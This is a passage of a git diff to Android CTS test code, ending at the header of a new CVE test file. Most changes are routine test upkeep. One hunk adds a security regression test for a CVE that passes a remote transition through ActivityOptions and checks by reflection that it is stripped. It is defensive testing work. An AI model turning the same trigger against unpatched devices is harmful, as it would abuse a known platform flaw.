@@ -53,6 +55,8 @@
         "android.permission3.cts.usepermission"
     private lateinit var bluetoothAdapter: BluetoothAdapter
     private var bluetoothAdapterWasEnabled: Boolean = false
+    private val locationManager = context.getSystemService(LocationManager::class.java)!!
+    private var locationWasEnabled: Boolean = false
 
     private enum class BluetoothScanResult {
         UNKNOWN, ERROR, EXCEPTION, EMPTY, FILTERED, FULL
@@ -78,6 +82,28 @@
         enableTestMode()
     }
 
+    @Before
+    fun enableLocation() {
+        val userHandle: UserHandle = Process.myUserHandle()
+        locationWasEnabled = locationManager.isLocationEnabledForUser(userHandle)
+        if (!locationWasEnabled) {
+            runWithShellPermissionIdentity {
+                locationManager.setLocationEnabledForUser(true, userHandle)
+            }
+        }
+    }
+
+    @After
+    fun disableLocation() {
+        val userHandle: UserHandle = Process.myUserHandle()
+
+        if (!locationWasEnabled) {
+            runWithShellPermissionIdentity {
+                locationManager.setLocationEnabledForUser(false, userHandle)
+            }
+        }
+    }
+
     @After
     fun disableBluetooth() {
         assumeTrue(supportsBluetooth())
@@ -91,6 +117,9 @@
 
     @Test
     fun testGivenBluetoothIsDeniedWhenScanIsAttemptedThenThenGetEmptyScanResult() {
+        assertTrue("Please enable location to run this test. Bluetooth scanning " +
+                "requires location to be enabled.", locationManager.isLocationEnabled())
+
         assertBluetoothRevokedCompatState(revoked = false)
         // Should return empty while the app does not have location
         assertEquals(BluetoothScanResult.EMPTY, scanForBluetoothDevices())
diff --git a/tests/tests/permission4/Android.bp b/tests/tests/permission4/Android.bp
index fe9183e..7115437 100644
--- a/tests/tests/permission4/Android.bp
+++ b/tests/tests/permission4/Android.bp
@@ -22,7 +22,6 @@
     name: "CtsPermission4TestCases",
     sdk_version: "test_current",
     defaults: ["cts_defaults"],
-    platform_apis: true,
     srcs: [
         "src/**/*.kt",
     ],
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
index 7aaac86..4529da0 100644
--- a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -33,10 +33,15 @@
 import android.support.test.uiautomator.UiSelector
 import androidx.test.platform.app.InstrumentationRegistry
 import com.android.compatibility.common.util.DisableAnimationRule
-import com.android.compatibility.common.util.SystemUtil.*
+import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
+import com.android.compatibility.common.util.SystemUtil.eventually
+import com.android.compatibility.common.util.SystemUtil.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
 import com.android.sts.common.util.StsExtraBusinessLogicTestCase
 import org.junit.After
-import org.junit.Assert.*
+import org.junit.Assert.assertFalse
+import org.junit.Assert.assertNotNull
+import org.junit.Assert.assertTrue
 import org.junit.Assume.assumeFalse
 import org.junit.Assume.assumeTrue
 import org.junit.Before
@@ -243,7 +248,6 @@
             assertTrue("Did not find chip", chipFound)
         } else {
             assertFalse("Found chip, but did not expect to", chipFound)
-            return
         }
 
         eventually {
@@ -269,7 +273,7 @@
         val chipFound = isChipPresent(useMic || useCamera)
         if (useMic || useCamera) {
             assertTrue("Did not find chip", chipFound)
-        } else {
+        } else { // hotword
             assertFalse("Found chip, but did not expect to", chipFound)
             return
         }
@@ -318,4 +322,4 @@
 
     private fun waitForIdle() =
         uiAutomation.waitForIdle(IDLE_TIMEOUT_MILLIS, TIMEOUT_MILLIS)
-}
\ No newline at end of file
+}
diff --git a/tests/tests/preference/AndroidTest.xml b/tests/tests/preference/AndroidTest.xml
index 09741b9..a06bb20 100644
--- a/tests/tests/preference/AndroidTest.xml
+++ b/tests/tests/preference/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index 1544652..9edd6cc 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -50,10 +50,8 @@
     private static final int TIMEOUT = 8000;
 
     private static final String RESOURCE_DONE = "done";
-    private static final String RESOURCE_INTERNET_DIALOG_DONE = "done_layout";
     private static final String RESOURCE_SEE_MORE = "see_more";
     private static final String RESOURCE_TITLE = "panel_title";
-    private static final String SYSTEMUI_PACKAGE_NAME = "com.android.systemui";
 
     private String mSettingsPackage;
     private String mLauncherPackage;
@@ -98,15 +96,6 @@
     // Check correct package is opened
 
     @Test
-    public void internetDialog_correctPackage() {
-        launchInternetDialog();
-
-        String currentPackage = mDevice.getCurrentPackageName();
-
-        assertThat(currentPackage).isEqualTo(SYSTEMUI_PACKAGE_NAME);
-    }
-
-    @Test
     public void volumePanel_correctPackage() {
         assumeTrue(mHasTouchScreen);
         launchVolumePanel();
@@ -135,27 +124,6 @@
     }
 
     @Test
-    public void internetDialog_doneClosesDialog() {
-        // Launch panel
-        launchInternetDialog();
-        String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SYSTEMUI_PACKAGE_NAME);
-
-        // Click the done button
-        if (mHasTouchScreen) {
-            mDevice.findObject(
-                    By.res(SYSTEMUI_PACKAGE_NAME, RESOURCE_INTERNET_DIALOG_DONE)).click();
-            mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
-        } else {
-            mDevice.pressBack();
-        }
-
-        // Assert that we have left the panel
-        currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isNotEqualTo(SYSTEMUI_PACKAGE_NAME);
-    }
-
-    @Test
     public void volumePanel_doneClosesPanel() {
         assumeTrue(mHasTouchScreen);
         // Launch panel
@@ -256,21 +224,6 @@
         launchPanel(Settings.Panel.ACTION_VOLUME);
     }
 
-    private void launchInternetDialog() {
-        // Start from the home screen
-        mDevice.pressHome();
-        mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
-
-        Intent intent = new Intent(Settings.Panel.ACTION_INTERNET_CONNECTIVITY);
-        intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND)
-                .setPackage(SYSTEMUI_PACKAGE_NAME);
-
-        mContext.sendBroadcast(intent);
-
-        // Wait for the app to appear
-        mDevice.wait(Until.hasObject(By.pkg(SYSTEMUI_PACKAGE_NAME).depth(0)), TIMEOUT);
-    }
-
     private void launchNfcPanel() {
         assumeTrue(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_NFC));
         launchPanel(Settings.Panel.ACTION_NFC);
diff --git a/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java b/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java
index 49471aa..97cc62a 100644
--- a/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java
@@ -29,7 +29,6 @@
 import android.net.Uri;
 import android.provider.BaseColumns;
 import android.provider.Telephony;
-import android.telephony.TelephonyManager;
 import android.util.Log;
 
 /**
@@ -137,8 +136,7 @@
      * @throws Exception
      */
     public void testSmsBackupRestore() throws Exception {
-        TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
-        if (!mHasFeature || !telephonyManager.isSmsCapable()) {
+        if (!mHasFeature) {
             Log.i(TAG, "skipping testSmsBackupRestore");
             return;
         }
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java
index aed220d..d5a4e4a 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java
@@ -221,8 +221,12 @@
                 Optional.of("Android/media/android.provider.cts/foo"), null));
         assertFalse(updatePlacement(uri,
                 Optional.of("Android/media/com.example/foo"), null));
-        assertFalse(updatePlacement(uri,
-                Optional.of("DCIM"), null));
+        try {
+            assertTrue(updatePlacementOrThrow(uri, Optional.of("DCIM"), null));
+        } catch (IllegalArgumentException tolerated) {
+            // update() above can either succeed or throw IllegalArgumentExxception based on the
+            // MediaProvider version.
+        }
     }
 
     @Test
@@ -233,11 +237,16 @@
                 mExternalImages, "image/jpeg");
 
         assertFalse(updatePlacement(uri,
-                Optional.of("Android/media/android.provider.cts/foo"), null));
-        assertFalse(updatePlacement(uri,
                 Optional.of("Android/media/com.example/foo"), null));
         assertTrue(updatePlacement(uri,
                 Optional.of("DCIM"), null));
+        try {
+            assertTrue(updatePlacementOrThrow(uri,
+                    Optional.of("Android/media/android.provider.cts/foo"), null));
+        } catch (IllegalArgumentException tolerated) {
+            // update() above can either succeed or throw IllegalArgumentExxception based on the
+            // MediaProvider version.
+        }
     }
 
     @Test
@@ -318,8 +327,8 @@
                 ProviderTestUtils.stageFile(R.raw.scenery, file));
     }
 
-    private boolean updatePlacement(Uri uri, Optional<String> path, Optional<String> displayName)
-            throws Exception {
+    private boolean updatePlacementOrThrow(Uri uri, Optional<String> path,
+            Optional<String> displayName) throws Exception {
         final ContentValues values = new ContentValues();
         if (path != null) {
             values.put(MediaColumns.RELATIVE_PATH, path.orElse(null));
@@ -327,8 +336,13 @@
         if (displayName != null) {
             values.put(MediaColumns.DISPLAY_NAME, displayName.orElse(null));
         }
+        return (mContentResolver.update(uri, values, null, null) == 1);
+    }
+
+    private boolean updatePlacement(Uri uri, Optional<String> path,
+            Optional<String> displayName) {
         try {
-            return (mContentResolver.update(uri, values, null, null) == 1);
+            return updatePlacementOrThrow(uri, path, displayName);
         } catch (Exception tolerated) {
             return false;
         }
diff --git a/tests/tests/resourcesloader/AndroidTest.xml b/tests/tests/resourcesloader/AndroidTest.xml
index 35e5951..154accb 100644
--- a/tests/tests/resourcesloader/AndroidTest.xml
+++ b/tests/tests/resourcesloader/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/sax/AndroidTest.xml b/tests/tests/sax/AndroidTest.xml
index e21020a..10172f0 100644
--- a/tests/tests/sax/AndroidTest.xml
+++ b/tests/tests/sax/AndroidTest.xml
@@ -22,6 +22,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="not-shardable" value="true" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSaxTestCases.apk" />
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/AndroidTest.xml b/tests/tests/secure_element/access_control/AccessControlApp1/AndroidTest.xml
index e93d5fa..4a69dcb 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/AndroidTest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true"/>
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/AndroidTest.xml b/tests/tests/secure_element/access_control/AccessControlApp2/AndroidTest.xml
index 45be09b..afad672 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/AndroidTest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true"/>
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/AndroidTest.xml b/tests/tests/secure_element/access_control/AccessControlApp3/AndroidTest.xml
index 9561daf..2766cbd 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/AndroidTest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true"/>
diff --git a/tests/tests/secure_element/omapi/AndroidTest.xml b/tests/tests/secure_element/omapi/AndroidTest.xml
index 948c3ee..559bbe3 100644
--- a/tests/tests/secure_element/omapi/AndroidTest.xml
+++ b/tests/tests/secure_element/omapi/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true"/>
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index c646e7c..6442a75 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -210,6 +210,9 @@
             </intent-filter>
         </activity>
 
+        <activity android:name="android.security.cts.ActivityManagerTest$ActivityOptionsActivity" />
+        <activity android:name="android.security.cts.ActivityManagerTest$BaseActivity" />
+
         <provider android:name="android.security.cts.CVE_2022_20358.PocContentProvider"
             android:authorities="android.security.cts.CVE_2022_20358.provider"
             android:enabled="true"
diff --git a/tests/tests/security/native/Android.bp b/tests/tests/security/native/Android.bp
index c0cb8c5..bf840b6 100644
--- a/tests/tests/security/native/Android.bp
+++ b/tests/tests/security/native/Android.bp
@@ -28,5 +28,8 @@
         ":__subpackages__",
     ],
     srcs: ["utils.cpp"],
+    shared_libs: [
+        "libbase",
+    ],
     export_include_dirs: ["."],
 }
diff --git a/tests/tests/security/native/encryption/AndroidTest.xml b/tests/tests/security/native/encryption/AndroidTest.xml
index 5d96afb..24467db 100644
--- a/tests/tests/security/native/encryption/AndroidTest.xml
+++ b/tests/tests/security/native/encryption/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsNativeEncryptionTestCases->/data/local/tmp/CtsNativeEncryptionTestCases" />
diff --git a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
index 2952105..e5d824c 100644
--- a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
+++ b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
@@ -37,17 +37,6 @@
 #define R_API_LEVEL 30
 #define S_API_LEVEL 31
 
-static int getFirstApiLevel(void) {
-    int level = property_get_int32("ro.product.first_api_level", 0);
-    if (level == 0) {
-        level = property_get_int32("ro.build.version.sdk", 0);
-    }
-    if (level == 0) {
-        ADD_FAILURE() << "Failed to determine first API level";
-    }
-    return level;
-}
-
 #ifdef __arm__
 // For ARM32, assemble the 'aese.8' instruction as an .inst, since otherwise
 // clang does not accept it.  It would be allowed in a separate file compiled
@@ -203,6 +192,7 @@
 // https://source.android.com/security/encryption/file-based.html
 TEST(FileBasedEncryptionPolicyTest, allowedPolicy) {
     int first_api_level = getFirstApiLevel();
+    int vendor_api_level = getVendorApiLevel();
     char crypto_type[PROPERTY_VALUE_MAX];
     struct fscrypt_get_policy_ex_arg arg;
     int res;
@@ -219,10 +209,13 @@
     property_get("ro.crypto.type", crypto_type, "");
     GTEST_LOG_(INFO) << "ro.crypto.type is '" << crypto_type << "'";
     GTEST_LOG_(INFO) << "First API level is " << first_api_level;
+    GTEST_LOG_(INFO) << "Vendor API level is " << vendor_api_level;
 
     // This feature name check only applies to devices that first shipped with
     // SC or later.
-    if(first_api_level >= S_API_LEVEL &&
+    int min_api_level = (first_api_level < vendor_api_level) ? first_api_level
+                                                             : vendor_api_level;
+    if (min_api_level >= S_API_LEVEL &&
        !deviceSupportsFeature("android.hardware.security.model.compatible")) {
         GTEST_SKIP()
             << "Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.";
diff --git a/tests/tests/security/native/utils.cpp b/tests/tests/security/native/utils.cpp
index 373b00e..fb9b1ee 100644
--- a/tests/tests/security/native/utils.cpp
+++ b/tests/tests/security/native/utils.cpp
@@ -15,6 +15,10 @@
  */
 
 #include <string>
+#include <vector>
+
+#include <android-base/properties.h>
+#include <gtest/gtest.h>
 
 #include "utils.h"
 
@@ -34,4 +38,29 @@
     pclose(p);
   }
   return device_supports_feature;
+}
+
+int getFirstApiLevel() {
+  int level = android::base::GetIntProperty("ro.product.first_api_level", 0);
+  if (level == 0) {
+    level = android::base::GetIntProperty("ro.build.version.sdk", 0);
+  }
+  if (level == 0) {
+    ADD_FAILURE() << "Failed to determine first API level";
+  }
+  return level;
+}
+
+int getVendorApiLevel() {
+    std::vector<std::string> BOARD_API_LEVEL_PROPS = {
+            "ro.board.api_level", "ro.board.first_api_level", "ro.vndk.version",
+            "ro.vendor.build.version.sdk"};
+    const int API_LEVEL_CURRENT = 10000;
+    for (const auto& api_level_prop : BOARD_API_LEVEL_PROPS) {
+        int api_level = android::base::GetIntProperty(api_level_prop, API_LEVEL_CURRENT);
+        if (api_level != API_LEVEL_CURRENT) {
+            return api_level;
+        }
+    }
+    return API_LEVEL_CURRENT;
 }
\ No newline at end of file
diff --git a/tests/tests/security/native/utils.h b/tests/tests/security/native/utils.h
index d6c651c..3176dbb 100644
--- a/tests/tests/security/native/utils.h
+++ b/tests/tests/security/native/utils.h
@@ -18,5 +18,7 @@
 #define CTS_TESTS_TESTS_SECURITY_NATIVE_UTILS_H
 
 bool deviceSupportsFeature(const char *feature);
+int getFirstApiLevel();
+int getVendorApiLevel();
 
 #endif  // CTS_TESTS_TESTS_SECURITY_NATIVE_UTILS_H
diff --git a/tests/tests/security/native/verified_boot/AndroidTest.xml b/tests/tests/security/native/verified_boot/AndroidTest.xml
index 777421f..8d6a59e 100644
--- a/tests/tests/security/native/verified_boot/AndroidTest.xml
+++ b/tests/tests/security/native/verified_boot/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsNativeVerifiedBootTestCases->/data/local/tmp/CtsNativeVerifiedBootTestCases" />
diff --git a/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp b/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
index 625ef66..bad6ef4 100644
--- a/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
+++ b/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
@@ -28,23 +28,14 @@
 // The relevant Android API levels
 constexpr auto S_API_LEVEL = 31;
 
-static int getFirstApiLevel() {
-  int level = android::base::GetIntProperty("ro.product.first_api_level", 0);
-  if (level == 0) {
-    level = android::base::GetIntProperty("ro.build.version.sdk", 0);
-  }
-  if (level == 0) {
-    ADD_FAILURE() << "Failed to determine first API level";
-  }
-  return level;
-}
-
 // As required by CDD, verified boot MUST use verification algorithms as strong
 // as current recommendations from NIST for hashing algorithms (SHA-256).
 // https://source.android.com/compatibility/11/android-11-cdd#9_10_device_integrity
 TEST(VerifiedBootTest, avbHashtreeNotUsingSha1) {
   int first_api_level = getFirstApiLevel();
+  int vendor_api_level = getVendorApiLevel();
   GTEST_LOG_(INFO) << "First API level is " << first_api_level;
+  GTEST_LOG_(INFO) << "Vendor API level is " << vendor_api_level;
   if (first_api_level < S_API_LEVEL) {
     GTEST_LOG_(INFO)
         << "Exempt from avb hash tree test due to old starting API level";
@@ -52,12 +43,16 @@
   }
 
   // This feature name check only applies to devices that first shipped with
-  // SC or later. The check above already screens out pre-S devices.
-  if(!deviceSupportsFeature("android.hardware.security.model.compatible")) {
+  // SC or later.
+  int min_api_level = (first_api_level < vendor_api_level) ? first_api_level
+                                                           : vendor_api_level;
+  if (min_api_level >= S_API_LEVEL &&
+      !deviceSupportsFeature("android.hardware.security.model.compatible")) {
       GTEST_SKIP()
           << "Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.";
-    return;
+      return;
   }
+
   android::fs_mgr::Fstab fstab;
   ASSERT_TRUE(ReadDefaultFstab(&fstab)) << "Failed to read default fstab";
 
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index f16b8fb..a27a0b9 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -15,24 +15,43 @@
  */
 package android.security.cts;
 
+import static android.app.ActivityOptions.ANIM_SCENE_TRANSITION;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NO_USER_ACTION;
+import static android.view.Window.FEATURE_ACTIVITY_TRANSITIONS;
+
 import static org.junit.Assert.*;
 
+import android.app.Activity;
 import android.app.ActivityManager;
-import android.app.ApplicationExitInfo;
+import android.app.ActivityOptions;
+import android.app.Application;
 import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
 import android.os.IBinder;
+import android.os.RemoteException;
 import android.platform.test.annotations.AsbSecurityTest;
 import android.util.Log;
-import androidx.test.runner.AndroidJUnit4;
+import android.view.SurfaceControl;
+import android.window.IRemoteTransition;
+import android.window.IRemoteTransitionFinishedCallback;
+import android.window.RemoteTransition;
+import android.window.TransitionInfo;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
 import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-import junit.framework.TestCase;
 
-import java.lang.reflect.InvocationTargetException;
-
-import org.junit.runner.RunWith;
 import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.util.concurrent.Callable;
+
 
 @RunWith(AndroidJUnit4.class)
 public class ActivityManagerTest extends StsExtraBusinessLogicTestCase {
@@ -111,6 +130,51 @@
         assertTrue(Math.abs((double) mockPackagescores / totalLoops - 0.5d) < tolerance);
     }
 
+    @AsbSecurityTest(cveBugId = 237290578)
+    @Test
+    public void testActivityManager_stripTransitionFromActivityOptions() throws Exception {
+        Context targetContext = getInstrumentation().getTargetContext();
+
+        // Need to start a base activity since this requires shared element transition.
+        final Intent baseIntent = new Intent(targetContext, BaseActivity.class);
+        baseIntent.setFlags(FLAG_ACTIVITY_NO_USER_ACTION | FLAG_ACTIVITY_NEW_TASK);
+        final BaseActivity baseActivity = (BaseActivity) SystemUtil.callWithShellPermissionIdentity(
+                () -> getInstrumentation().startActivitySync(baseIntent));
+
+        RemoteTransition someRemote = new RemoteTransition(new IRemoteTransition.Stub() {
+            @Override
+            public void startAnimation(IBinder token, TransitionInfo info,
+                    SurfaceControl.Transaction t,
+                    IRemoteTransitionFinishedCallback finishCallback) throws RemoteException {
+                t.apply();
+                finishCallback.onTransitionFinished(null /* wct */, null /* sct */);
+            }
+
+            @Override
+            public void mergeAnimation(IBinder token, TransitionInfo info,
+                    SurfaceControl.Transaction t, IBinder mergeTarget,
+                    IRemoteTransitionFinishedCallback finishCallback) throws RemoteException {
+            }
+        });
+        ActivityOptions opts = ActivityOptions.makeRemoteTransition(someRemote);
+        assertTrue(waitUntil(() -> baseActivity.mResumed));
+        ActivityOptions sceneOpts = baseActivity.mSceneOpts;
+        assertEquals(ANIM_SCENE_TRANSITION, sceneOpts.getAnimationType());
+
+        // Prepare the intent
+        final Intent intent = new Intent(targetContext, ActivityOptionsActivity.class);
+        intent.setFlags(FLAG_ACTIVITY_NO_USER_ACTION | FLAG_ACTIVITY_NEW_TASK);
+        final Bundle optionsBundle = opts.toBundle();
+        optionsBundle.putAll(sceneOpts.toBundle());
+        final ActivityOptionsActivity activity =
+                (ActivityOptionsActivity) SystemUtil.callWithShellPermissionIdentity(
+                        () -> getInstrumentation().startActivitySync(intent, optionsBundle));
+        assertTrue(waitUntil(() -> activity.mResumed));
+
+        assertTrue(activity.mPreCreate || activity.mPreStart);
+        assertNull(activity.mReceivedTransition);
+    }
+
     /**
      * Run ActivityManager.getHistoricalProcessExitReasons once, return the time spent on it.
      */
@@ -122,4 +186,108 @@
         }
         return System.nanoTime() - start;
     }
+
+    private boolean waitUntil(Callable<Boolean> test) throws Exception {
+        long timeoutMs = 2000;
+        final long timeout = System.currentTimeMillis() + timeoutMs;
+        while (!test.call()) {
+            final long waitMs = timeout - System.currentTimeMillis();
+            if (waitMs <= 0) break;
+            try {
+                wait(timeoutMs);
+            } catch (InterruptedException e) {
+                // retry
+            }
+        }
+        return test.call();
+    }
+
+    public static class BaseActivity extends Activity {
+        public boolean mResumed = false;
+        public ActivityOptions mSceneOpts = null;
+
+        @Override
+        public void onCreate(Bundle i) {
+            super.onCreate(i);
+            getWindow().requestFeature(FEATURE_ACTIVITY_TRANSITIONS);
+            mSceneOpts = ActivityOptions.makeSceneTransitionAnimation(this);
+        }
+
+        @Override
+        public void onResume() {
+            super.onResume();
+            mResumed = true;
+        }
+    }
+
+    public static class ActivityOptionsActivity extends Activity {
+        public RemoteTransition mReceivedTransition = null;
+        public boolean mPreCreate = false;
+        public boolean mPreStart = false;
+        public boolean mResumed = false;
+
+        public ActivityOptionsActivity() {
+            registerActivityLifecycleCallbacks(new Callbacks());
+        }
+
+        private class Callbacks implements Application.ActivityLifecycleCallbacks {
+            private void accessOptions(Activity activity) {
+                try {
+                    Field mPendingOptions = Activity.class.getDeclaredField("mPendingOptions");
+                    mPendingOptions.setAccessible(true);
+                    ActivityOptions options = (ActivityOptions) mPendingOptions.get(activity);
+                    if (options != null) {
+                        mReceivedTransition = options.getRemoteTransition();
+                    }
+                } catch (ReflectiveOperationException e) {
+                    throw new RuntimeException(e);
+                }
+            }
+
+            @Override
+            public void onActivityPreCreated(Activity activity, Bundle i) {
+                mPreCreate = true;
+                if (mReceivedTransition == null) {
+                    accessOptions(activity);
+                }
+            }
+
+            @Override
+            public void onActivityPreStarted(Activity activity) {
+                mPreStart = true;
+                if (mReceivedTransition == null) {
+                    accessOptions(activity);
+                }
+            }
+
+            @Override
+            public void onActivityCreated(Activity activity, Bundle savedInstanceState) {
+            }
+
+            @Override
+            public void onActivityStarted(Activity activity) {
+            }
+
+            @Override
+            public void onActivityResumed(Activity activity) {
+                mResumed = true;
+            }
+
+            @Override
+            public void onActivityPaused(Activity activity) {
+            }
+
+            @Override
+            public void onActivityStopped(Activity activity) {
+            }
+
+            @Override
+            public void onActivitySaveInstanceState(Activity activity, Bundle outState) {
+            }
+
+            @Override
+            public void onActivityDestroyed(Activity activity) {
+            }
+        }
+    }
 }
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0685.java b/tests/tests/security/src/android/security/cts/CVE_2021_0685.java
new file mode 100644
index 0000000..5a4de17
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0685.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
